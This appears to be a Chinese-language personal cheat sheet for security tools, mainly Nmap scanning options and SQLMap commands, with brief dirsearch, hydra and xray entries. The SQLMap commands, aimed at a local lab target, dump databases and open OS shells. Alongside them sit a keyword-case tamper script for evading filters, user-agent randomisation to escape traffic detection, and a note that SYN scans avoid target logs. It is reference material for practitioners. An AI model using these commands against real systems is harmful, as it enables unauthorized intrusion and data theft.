Nmap

  • 功能介绍
  1. 检测网络存活主机(主机发现)
  2. 检测主机开放端口(端口发现或枚举)
  3. 检测相应端口软件(服务发现)版本
  4. 检测操作系统,硬件地址,以及软件版本
  5. 检测脆弱性的漏洞(nmap 的脚本)
  • 端口状态
1
2
3
4
5
6
Open		端口开启,数据有到达主机,有程序在端口上监控
Closed 端口关闭,数据有到达主机,没有程序在端口上监控
Filtered 数据没有到达主机,返回的结果为空,数据被防火墙或IDS过滤
UnFiltered 数据有到达主句,但是不能识别端口当前的状态
Open|Filtered 端口没有返回值,主要发生在UDP、IP、FIN、NULL和Xmas扫描中
Closed|Filtered 只发生在IP ID idle扫描
  • 基础用法

这里以 192.168.1.1 为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
nmap -A -T4 192.168.1.1

A: 全扫描/综合扫描
T4: 扫描速度,共有6级,T0-T5

不加端口说明扫描默认端口,1-1024 + nmap-service

单一主机扫描: nmap 192.168.1.2
子网扫描: nmap 192.168.1.1/24
多主机扫描: namp 192.168.1.1 192.168.1.10
主机范围扫描: nmap 192.168.1.1-100
IP地址列表扫描: nmap -il target.txt

扫描除指定IP外的所有子网主机:
nmap 192.168.1.1/24 --exclude 192.168.1.1

扫描除文件中IP外的子网主机:
nmap 192.168.1.1/24 --excludefile xxx.txt

扫描特定主机上的80,21,23端口:
nmap -p 80,21,23 192.168.1.1
  • 扫描全部端口
1
2
3
4
5
6
7
8
9
nmap -sS -v -T4 -Pn -p 0-65535 -oN FullTCP -il liveHosts.txt

- -sS:SYN扫描,又称半开放扫描,它不打开一个完全的TCP连接,执行快,效率高(一个完整的tcp连接需要3次握手,-sS不需要3次握手)

优点:Nmap发送SYN包到远程主机,但是不会产生任何会话,目标主机几乎不会把连接记入系统日志(防止对方判断为扫描攻击)
缺点:需要root/administrator权限执行

- -Pn:扫描前不需要用ping命令,有些防火墙禁止ping命令。
- -iL:导入需要扫描的列表
  • 扫描常用端口及服务信息
1
2
3
4
5
6
7
nmap -sS -T4 -Pn -oG TopTCP -iL Livehosts.txt

系统扫描
nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt

版本检测
nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt
  • 漏洞扫描

nmap -p445 -v --script smb-ghost 192.168.1.0/24

常用操作

1
nmap -v -Pn -p [port] -sV [IP]

常用参数说明

1
2
3
4
-v 显示详细扫描过程,扫描进度及统计信息
-Pn 跳过主机发现阶段(不ping)
-p [port] 指定端口
-sV 启用服务版本探测,应用程序及版本号

参考学习:

https://wiki.wgpsec.org/knowledge/tools/nmap.html

https://blog.csdn.net/Kris__zhang/article/details/106841466

https://wcute.github.io/2019/03/29/Nmap%20%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E6%80%BB%E7%BB%93/

https://nmap.org/man/zh/ 【中文参考指南】

SQLMap

20250510

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# GET

sqlmap -u "http://127.0.0.1/Less-1/" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

# POST

sqlmap -r test.txt

sqlmap -u "http://127.0.0.1/Less-1/" --data="uname=admin&passwd=2333&submit=Submit"

sqlmap -u "http://127.0.0.1/Less-1/" --data="uname=admin&passwd=2333&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

sqlmap -u "http://127.0.0.1/Less-1/" --cookie="uname=admin" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 --level=2

sqlmap -u "http://127.0.0.1/Less-1/" --cookie="uname=*" --tamper="base64encode" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

# technique U联合注入 E报错注入 B布尔盲注 T延时盲注
# --batch 使用默认的选项(不需要再输入y/n)

数据猜解-库表列数据&字典

测试:常规数据获取

1
2
3
4
--current-db
--tables -D ""
--columns -T "" -D ""
--dump -C "" -T "" -D ""

权限操作-文件&命令&交互式

测试:高权限操作

1
2
3
4
5
6
7
8
引出权限:
--is-dba --privileges

引出文件:
--file-read --file-write --file-dest

引出命令:
--os-cmd="" --os-shell --sql-shell

提交方法-POST&HEAD&JSON

测试:Post Cookie Json 等

1
2
3
--data ""
--cookie ""
-r 1.txt

绕过模块-Tamper 脚本-使用&开发

测试:base64+json 注入&再加有过滤的注入

1
2
--tamper=base64encode.py
--tamper=test.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
if payload:
payload = payload.replace('SELECT','sElEct')
payload = payload.replace('select','sElEct')
payload = payload.replace('OR','Or')
payload = payload.replace('or','Or')
payload = payload.replace('AND','And')
payload = payload.replace('and','And')
payload = payload.replace('XOR','xOr')
payload = payload.replace('xor','xOr')
payload = payload.replace('SLEEP','SleeP')
payload = payload.replace('sleep','SleeP')
payload = payload.replace('ELT','Elt')
return encodeBase64(payload, binary=False) if payload else payload

分析拓展-代理&调试&指纹&风险&等级

  • 后期分析调试:
1
2
-v=(0-6)  # 详细的等级(0-6)
--proxy "http://xx:xx" # 代理注入
  • 打乱默认指纹:

绕过流量设备识别 sqlmap

1
2
3
--user-agent ""  # 自定义user-agent
--random-agent # 随机user-agent
--time-sec=(2,5) # 延迟响应,默认为5
  • 使用更多的测试:测试 Header 注入
1
2
--level=(1-5) # 要执行的测试水平等级,默认为1 
--risk=(0-3) # 测试执行的风险等级,默认为1

缓存默认在 C:\Users\用户名\AppData\Local\sqlmap(Windows)

https://www.cnblogs.com/bmjoker/p/9326258.html

dirsearch

1
2
python dirsearch.py -u https://example.com -w /path/mydict.txt	# -w 字典
python3 dirsearch.py -u https://example.com -t 100 --delay 0.1 # -t 并发线程数 --delay 每个请求间隔

hydra

https://blog.csdn.net/smli_ng/article/details/106089614
https://wcute.github.io/2019/03/24/hydra%EF%BC%88%E7%88%86%E7%A0%B4%E5%B7%A5%E5%85%B7%EF%BC%89%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/

xray

1
2
3
4
5
# 生成证书
xray genca

# 设置代理并监听扫描
xray webscan --listen 127.0.0.1:7777 --html-output test.html